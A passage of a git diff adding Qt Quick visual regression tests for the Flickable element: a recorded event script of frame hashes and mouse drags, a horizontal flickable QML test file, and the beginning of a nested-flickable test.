+ hash: "e7527c7c8cb2f8c9e5ce32be98612837"
+ }
+ Frame {
+ msec: 5232
+ hash: "8f8547a6508b156d514c6d4a61d18424"
+ }
+ Frame {
+ msec: 5248
+ hash: "99b4220101d400b49346ca023799c8fe"
+ }
+ Frame {
+ msec: 5264
+ hash: "2d83cf7c5f93aad4f9dcadcfdbb08fa3"
+ }
+ Frame {
+ msec: 5280
+ hash: "c9ea64aa7000008ad9032cddd898767c"
+ }
+ Frame {
+ msec: 5296
+ hash: "4c37b188261e927f72725484d08ac9e1"
+ }
+ Frame {
+ msec: 5312
+ hash: "29c8004517294539adf3243533381436"
+ }
+ Frame {
+ msec: 5328
+ hash: "b5126298ebb61d6ab5ae58822c9380ca"
+ }
+ Frame {
+ msec: 5344
+ hash: "7b546c089dca57353b4867af724ea370"
+ }
+ Frame {
+ msec: 5360
+ hash: "deedb9ddcc2f5354a2356178db54d971"
+ }
+ Frame {
+ msec: 5376
+ hash: "9e1fb461c13b4affa39e5909d3ade168"
+ }
+ Frame {
+ msec: 5392
+ hash: "dbb54d7d203c99d466b1a173fb90c148"
+ }
+ Frame {
+ msec: 5408
+ hash: "0a67ef028264551c1122f4d8a0b07c20"
+ }
+ Frame {
+ msec: 5424
+ hash: "636f04661a0418c1fdcaaaba28092671"
+ }
+ Frame {
+ msec: 5440
+ hash: "de8946eb6317277b580cbf6a38a85a29"
+ }
+ Frame {
+ msec: 5456
+ hash: "45dd5e856c10ef2e5a9b968044802096"
+ }
+ Frame {
+ msec: 5472
+ hash: "a974415dcf31bee79874c4a6e84cf796"
+ }
+ Frame {
+ msec: 5488
+ hash: "58dab05300d4c83ba084c8bef6a04958"
+ }
+ Frame {
+ msec: 5504
+ hash: "f74c075e8cf2aef501b7115427b3b221"
+ }
+ Frame {
+ msec: 5520
+ hash: "7fd3e958115134b2f15cc6d3e01cbcfe"
+ }
+ Frame {
+ msec: 5536
+ hash: "7efcd27e34db1d3adc3d31e0b9ebe432"
+ }
+ Frame {
+ msec: 5552
+ hash: "2229621b9ad55dddce371061584a4dfd"
+ }
+ Frame {
+ msec: 5568
+ hash: "c8747327ae3370b04a996aa6b5e373c6"
+ }
+ Frame {
+ msec: 5584
+ hash: "677f52c273dda1f878bfea43b6353aaa"
+ }
+ Frame {
+ msec: 5600
+ hash: "d29de2f0505bdaca1e3443812a588fb1"
+ }
+ Frame {
+ msec: 5616
+ hash: "71f3088ea8794a232ee08c6b0ad72e98"
+ }
+ Frame {
+ msec: 5632
+ hash: "3733ba52e740ea8438967cb03c619368"
+ }
+ Frame {
+ msec: 5648
+ hash: "5fda56f77948e183557ff54690030746"
+ }
+ Frame {
+ msec: 5664
+ hash: "5996c2fc31ff3a13e1f3a23a230aad9a"
+ }
+ Frame {
+ msec: 5680
+ hash: "90b9b19f9f6aef7279b1199ca7b34b07"
+ }
+ Frame {
+ msec: 5696
+ hash: "05b4559167ff77d07bb3063b87c4e621"
+ }
+ Frame {
+ msec: 5712
+ hash: "6e43987a8db7a6231887cf5883d381bf"
+ }
+ Frame {
+ msec: 5728
+ hash: "351d95ba7bc01ea8d4991883885ca537"
+ }
+ Frame {
+ msec: 5744
+ hash: "351d95ba7bc01ea8d4991883885ca537"
+ }
+ Frame {
+ msec: 5760
+ hash: "351d95ba7bc01ea8d4991883885ca537"
+ }
+ Frame {
+ msec: 5776
+ image: "flickable-vertical.6.png"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 102; y: 279
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5792
+ hash: "351d95ba7bc01ea8d4991883885ca537"
+ }
+ Frame {
+ msec: 5808
+ hash: "351d95ba7bc01ea8d4991883885ca537"
+ }
+ Frame {
+ msec: 5824
+ hash: "351d95ba7bc01ea8d4991883885ca537"
+ }
+ Frame {
+ msec: 5840
+ hash: "351d95ba7bc01ea8d4991883885ca537"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 102; y: 279
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5856
+ hash: "351d95ba7bc01ea8d4991883885ca537"
+ }
+ Frame {
+ msec: 5872
+ hash: "351d95ba7bc01ea8d4991883885ca537"
+ }
+ Frame {
+ msec: 5888
+ hash: "351d95ba7bc01ea8d4991883885ca537"
+ }
+ Frame {
+ msec: 5904
+ hash: "351d95ba7bc01ea8d4991883885ca537"
+ }
+ Frame {
+ msec: 5920
+ hash: "351d95ba7bc01ea8d4991883885ca537"
+ }
+ Frame {
+ msec: 5936
+ hash: "351d95ba7bc01ea8d4991883885ca537"
+ }
+ Frame {
+ msec: 5952
+ hash: "351d95ba7bc01ea8d4991883885ca537"
+ }
+ Frame {
+ msec: 5968
+ hash: "351d95ba7bc01ea8d4991883885ca537"
+ }
+ Frame {
+ msec: 5984
+ hash: "351d95ba7bc01ea8d4991883885ca537"
+ }
+ Frame {
+ msec: 6000
+ hash: "351d95ba7bc01ea8d4991883885ca537"
+ }
+ Frame {
+ msec: 6016
+ hash: "351d95ba7bc01ea8d4991883885ca537"
+ }
+ Frame {
+ msec: 6032
+ hash: "351d95ba7bc01ea8d4991883885ca537"
+ }
+ Frame {
+ msec: 6048
+ hash: "351d95ba7bc01ea8d4991883885ca537"
+ }
+ Frame {
+ msec: 6064
+ hash: "351d95ba7bc01ea8d4991883885ca537"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 148; y: 276
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6080
+ hash: "351d95ba7bc01ea8d4991883885ca537"
+ }
+ Frame {
+ msec: 6096
+ hash: "351d95ba7bc01ea8d4991883885ca537"
+ }
+ Frame {
+ msec: 6112
+ hash: "351d95ba7bc01ea8d4991883885ca537"
+ }
+ Frame {
+ msec: 6128
+ hash: "351d95ba7bc01ea8d4991883885ca537"
+ }
+ Frame {
+ msec: 6144
+ hash: "351d95ba7bc01ea8d4991883885ca537"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 148; y: 276
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6160
+ hash: "351d95ba7bc01ea8d4991883885ca537"
+ }
+ Frame {
+ msec: 6176
+ hash: "351d95ba7bc01ea8d4991883885ca537"
+ }
+ Frame {
+ msec: 6192
+ hash: "351d95ba7bc01ea8d4991883885ca537"
+ }
+ Frame {
+ msec: 6208
+ hash: "351d95ba7bc01ea8d4991883885ca537"
+ }
+ Frame {
+ msec: 6224
+ hash: "351d95ba7bc01ea8d4991883885ca537"
+ }
+ Frame {
+ msec: 6240
+ hash: "351d95ba7bc01ea8d4991883885ca537"
+ }
+ Frame {
+ msec: 6256
+ hash: "351d95ba7bc01ea8d4991883885ca537"
+ }
+ Frame {
+ msec: 6272
+ hash: "351d95ba7bc01ea8d4991883885ca537"
+ }
+ Frame {
+ msec: 6288
+ hash: "351d95ba7bc01ea8d4991883885ca537"
+ }
+ Frame {
+ msec: 6304
+ hash: "351d95ba7bc01ea8d4991883885ca537"
+ }
+ Frame {
+ msec: 6320
+ hash: "351d95ba7bc01ea8d4991883885ca537"
+ }
+ Frame {
+ msec: 6336
+ hash: "351d95ba7bc01ea8d4991883885ca537"
+ }
+ Frame {
+ msec: 6352
+ hash: "351d95ba7bc01ea8d4991883885ca537"
+ }
+ Frame {
+ msec: 6368
+ hash: "351d95ba7bc01ea8d4991883885ca537"
+ }
+ Frame {
+ msec: 6384
+ hash: "351d95ba7bc01ea8d4991883885ca537"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 129; y: 101
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6400
+ hash: "9b748b3b85f63d7f62cd916b0bf4357c"
+ }
+ Frame {
+ msec: 6416
+ hash: "9b748b3b85f63d7f62cd916b0bf4357c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 129; y: 103
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 129; y: 105
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6432
+ hash: "9b748b3b85f63d7f62cd916b0bf4357c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 130; y: 110
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 132; y: 123
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6448
+ hash: "351d95ba7bc01ea8d4991883885ca537"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 132; y: 133
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 134; y: 145
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6464
+ hash: "2c84bdd7066c8fd8c66b022783c6fcfe"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 136; y: 159
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 138; y: 172
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6480
+ hash: "ffe18300d9ce72e2d4e191c473a6973c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 138; y: 187
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 140; y: 203
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6496
+ hash: "427720fdd38ff4310c8040b1a5a5f84f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 140; y: 214
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 141; y: 224
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6512
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 143; y: 235
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 143; y: 246
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6528
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 143; y: 257
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 145; y: 269
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6544
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 145; y: 278
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 145; y: 289
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6560
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 147; y: 299
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 147; y: 308
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6576
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 149; y: 316
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 149; y: 318
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6592
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 149; y: 320
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 149; y: 321
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 149; y: 321
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6608
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Frame {
+ msec: 6624
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Frame {
+ msec: 6640
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Frame {
+ msec: 6656
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Frame {
+ msec: 6672
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Frame {
+ msec: 6688
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Frame {
+ msec: 6704
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Frame {
+ msec: 6720
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Frame {
+ msec: 6736
+ image: "flickable-vertical.7.png"
+ }
+ Frame {
+ msec: 6752
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Frame {
+ msec: 6768
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Frame {
+ msec: 6784
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Frame {
+ msec: 6800
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Frame {
+ msec: 6816
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Frame {
+ msec: 6832
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Frame {
+ msec: 6848
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Frame {
+ msec: 6864
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Frame {
+ msec: 6880
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Frame {
+ msec: 6896
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Frame {
+ msec: 6912
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Frame {
+ msec: 6928
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Frame {
+ msec: 6944
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Frame {
+ msec: 6960
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Frame {
+ msec: 6976
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Frame {
+ msec: 6992
+ hash: "08a827d109c78ff0d82ed7b6ef8d55b9"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 166; y: 191
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7008
+ hash: "ff198f6b27379e64b901b37e0cf1e98b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 167; y: 190
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 167; y: 189
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7024
+ hash: "ff198f6b27379e64b901b37e0cf1e98b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 167; y: 188
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 168; y: 185
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7040
+ hash: "ff198f6b27379e64b901b37e0cf1e98b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 169; y: 183
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 169; y: 179
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7056
+ hash: "61d410fdbe0ee8a41e9c7b25eb2901a7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 170; y: 172
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 170; y: 162
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7072
+ hash: "8e27d1db841047a115561861a1c20e67"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 168; y: 150
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 167; y: 139
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7088
+ hash: "7599e2f206da8b46dcaf35a4a7858747"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 165; y: 125
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 163; y: 113
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7104
+ hash: "45e2cf43322f038d2b322dea82e829f1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 161; y: 103
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 160; y: 92
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7120
+ hash: "0170b6aff2eab67213fc4f2883be1db9"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 158; y: 80
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 156; y: 66
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7136
+ hash: "23ef985de50ae4600d8f62ed4c91edc9"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 154; y: 52
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 154; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7152
+ hash: "a69e534df84e406e06ca94e2221c97f1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 152; y: 27
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 150; y: 18
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 150; y: 18
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7168
+ hash: "99b4220101d400b49346ca023799c8fe"
+ }
+ Frame {
+ msec: 7184
+ hash: "80f599f50af9e601536f62ea93f4e429"
+ }
+ Frame {
+ msec: 7200
+ hash: "e211b4a9e0059eaf7a3654121ed6b7a4"
+ }
+ Frame {
+ msec: 7216
+ hash: "ef0997291fb3323c877b65847905f7c3"
+ }
+ Frame {
+ msec: 7232
+ hash: "95ca2f988370075070c6a98e5e680206"
+ }
+ Frame {
+ msec: 7248
+ hash: "bb5b6cb5862e28a7f309ef5c7cf2b5dd"
+ }
+ Frame {
+ msec: 7264
+ hash: "958e9074dfa2392db05fb3f532573519"
+ }
+ Frame {
+ msec: 7280
+ hash: "4d90460d3b6c46075ffda426bc6ceaa6"
+ }
+ Frame {
+ msec: 7296
+ hash: "d82de8b7c5a144b20085f447cf041350"
+ }
+ Frame {
+ msec: 7312
+ hash: "4d5d1c8470df16097c51517e750ef6be"
+ }
+ Frame {
+ msec: 7328
+ hash: "3170c18b8dd74429b0f366ec07f4870b"
+ }
+ Frame {
+ msec: 7344
+ hash: "35b4e282089b4f7e8cc60aaf6635a0f7"
+ }
+ Frame {
+ msec: 7360
+ hash: "bb67acd602414cf59e27b5ff19f69169"
+ }
+ Frame {
+ msec: 7376
+ hash: "0135220633c5aebe964b596f3c1bae27"
+ }
+ Frame {
+ msec: 7392
+ hash: "b4a996bdc1ccae96f84e285b212a19a3"
+ }
+ Frame {
+ msec: 7408
+ hash: "7fe6c7bd1bc9e46d3e520178a2309e87"
+ }
+ Frame {
+ msec: 7424
+ hash: "b803764915a58bd59aed1223bd7c67d7"
+ }
+ Frame {
+ msec: 7440
+ hash: "49c71089343b963fd8b3587eb1d5d457"
+ }
+ Frame {
+ msec: 7456
+ hash: "d2e577eecdf6fc9ecadf500896e0ff46"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 109; y: 172
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7472
+ hash: "d2e577eecdf6fc9ecadf500896e0ff46"
+ }
+ Frame {
+ msec: 7488
+ hash: "d2e577eecdf6fc9ecadf500896e0ff46"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 109; y: 170
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 109; y: 168
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7504
+ hash: "d2e577eecdf6fc9ecadf500896e0ff46"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 109; y: 165
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 109; y: 152
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7520
+ hash: "21bf0affeaf1033e59a99bed9efeb80d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 109; y: 135
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 109; y: 116
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7536
+ hash: "c4506098417f905871a43d183cd5904d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 106; y: 91
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 104; y: 66
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7552
+ hash: "fdf8dfa53431f930b01e667b3b86c7a1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 102; y: 42
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 100; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7568
+ hash: "a94e05f80f0f8d3af13678318fd91416"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 100; y: -2
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 100; y: -2
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7584
+ hash: "bd8c0a924552cb4dfc5ddc1451931b01"
+ }
+ Frame {
+ msec: 7600
+ hash: "ed5bab2126fb459989b7ea0e44da6776"
+ }
+ Frame {
+ msec: 7616
+ hash: "756fc80a88e6f5d28f9c6bba771355c5"
+ }
+ Frame {
+ msec: 7632
+ hash: "640c092db0d2a523ce0cdc961e64124a"
+ }
+ Frame {
+ msec: 7648
+ hash: "097582f1b42c16d41f4413755ac15c3e"
+ }
+ Frame {
+ msec: 7664
+ hash: "67ef5e3297fe5605bd41a72681899f48"
+ }
+ Frame {
+ msec: 7680
+ hash: "91452c52c309b7d90c7ccca3fc9ae8b2"
+ }
+ Frame {
+ msec: 7696
+ image: "flickable-vertical.8.png"
+ }
+ Frame {
+ msec: 7712
+ hash: "ebef3c7095abadf45855fe75cbf3d358"
+ }
+ Frame {
+ msec: 7728
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 7744
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 7760
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 7776
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 7792
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 7808
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 7824
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 7840
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 7856
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 7872
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 7888
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 7904
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 7920
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 7936
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 7952
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 7968
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 7984
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 8000
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 8016
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 8032
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 8048
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 8064
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 8080
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 8096
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 8112
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 8128
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 8144
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 8160
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 8176
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 8192
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 8208
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 8224
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 8240
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 8256
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 8272
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 8288
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 8304
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 8320
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 8336
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 8352
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 8368
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 8384
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 8400
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+ Frame {
+ msec: 8416
+ hash: "97b167a5a76d6b71713d25508ed360f0"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/flickable-horizontal.qml b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/flickable-horizontal.qml
new file mode 100644
index 00000000..8aa2389a
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/flickable-horizontal.qml
@@ -0,0 +1,37 @@
+import QtQuick 1.0
+
+Rectangle {
+ color: "lightSteelBlue"
+ width: 600; height: 300
+
+ ListModel {
+ id: list
+ ListElement { dayColor: "steelblue" }
+ ListElement { dayColor: "blue" }
+ ListElement { dayColor: "yellow" }
+ ListElement { dayColor: "purple" }
+ ListElement { dayColor: "red" }
+ ListElement { dayColor: "green" }
+ ListElement { dayColor: "orange" }
+ }
+
+ Flickable {
+ id: flickable
+ anchors.fill: parent; contentWidth: row.width
+
+ Row {
+ id: row
+ Repeater {
+ model: list
+ Rectangle { width: 200; height: 300; color: dayColor }
+ }
+ }
+ }
+ Rectangle {
+ radius: 3
+ y: flickable.height-8
+ height: 8
+ x: flickable.visibleArea.xPosition * flickable.width
+ width: flickable.visibleArea.widthRatio * flickable.width
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/flickable-nested.qml b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/flickable-nested.qml
new file mode 100644
index 00000000..9335b9e3
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/flickable-nested.qml
@@ -0,0 +1,50 @@
+import QtQuick 1.0
+
+Item {
+ width: 640
